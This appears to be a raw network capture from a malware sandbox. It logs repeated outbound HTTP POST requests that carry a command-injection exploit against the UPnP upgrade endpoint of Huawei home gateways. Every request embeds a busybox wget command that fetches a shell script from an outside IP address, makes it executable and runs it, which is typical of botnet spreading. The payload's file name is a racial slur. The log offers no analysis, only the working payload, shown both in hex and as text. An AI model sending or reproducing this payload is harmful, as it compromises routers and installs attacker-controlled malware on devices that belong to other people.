Feb 19, 2024 18:36:52.642560959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.346101046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521661043 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336719036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.15	42614	31.136.141.26	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.375965118 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930609941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018589973 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290433884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642524004 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
